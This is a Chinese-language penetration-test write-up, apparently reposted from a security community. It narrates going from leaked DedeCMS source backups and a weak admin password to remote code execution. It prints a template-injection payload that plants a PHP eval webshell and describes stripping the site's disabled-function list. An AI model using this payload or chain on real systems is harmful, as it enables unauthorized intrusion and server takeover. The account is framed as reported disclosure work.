实战!记一次从源码泄露到Getshell

admin 2023年4月20日09:14:59评论53 views字数 1153阅读3分50秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x00 前言

此次渗透中的所有修改已经复原,且漏洞已经提交至cnvd平台

0x01 源码泄露

在一个月黑风高的夜晚,闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描
在查看备份文件扫描结果时,看到了宝贝

实战!记一次从源码泄露到Getshell

二话不说,访问下载得到源码!

可以在注释信息处发现dedecms的痕迹

实战!记一次从源码泄露到Getshell

敏感信息泄露

获得源码的第一步当然是获取敏感信息,先尝试全局搜索(crtl+shift+f)关键词
keypwdpasswdpassword

1. 数据库信息泄露

实战!记一次从源码泄露到Getshell

2. 后台管理员密码泄露

实战!记一次从源码泄露到Getshell

md5解密尝试解密,居然是一个弱口令

实战!记一次从源码泄露到Getshell

有了账户密码后当然是要找到后台管理地址,那么有了源码后台管理地址还不是手到擒来?

0x02 后台RCE->getshell

源码中找到后台地址(居然改了个888)
实战!记一次从源码泄露到Getshell

用泄露的admin/admin888进入后台后,发现版本信息为dedecms PS1

历史漏洞

既然已经获得了cms信息,第一步当然看看他的历史漏洞,查找SP1历史漏洞都是远程代码包含漏洞,但是这个站点已经将关键文件install.php删除(源码中不存在)

抱着侥幸心里又去尝试访问一下(说不定后来又加上了呢)确实不存在,只能继续查看其他功能点,然后也尝试测试了许多SP2的漏洞payload但均失败

继续测试其他点

继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数
实战!记一次从源码泄露到Getshell

但是明明没有模板引擎功能他为什么要禁用呢?我带着这个疑问又重新翻看源码,果然又找到模板相关文件,(说明只是功能点被隐藏,文件依旧还在)

实战!记一次从源码泄露到Getshell

尝试访问,成功访问到并且能够正常执行

实战!记一次从源码泄露到Getshell

那么就好办了,根据dedecms模板规则,后台模板写入payload,访问即可执行PHP代码

{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}//调用方式 [field:字段名/] 这里的关键是runphp='yes'//php代码则是简单的一句话

然后去将其他选项中的禁用函数全部删除保存

实战!记一次从源码泄露到Getshell

因为注入到了index.htm,所以连接 webshell 的 url为首页

http://xxxxx:9890/index.php
实战!记一次从源码泄露到Getshell
成功getshell
实战!记一次从源码泄露到Getshell
本来还应该通过源码泄露得到的数据库账户密码尝试连接数据库的,但这里删shell跑路太急了就忘记了测了。
文章来源:先知社区(lyy)原文地址:https://xz.aliyun.com/t/10692

原文始发于微信公众号(潇湘信安):实战!记一次从源码泄露到Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月20日09:14:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战!记一次从源码泄露到Getshellhttps://cn-sec.com/archives/1681493.html

发表评论

匿名网友 填写信息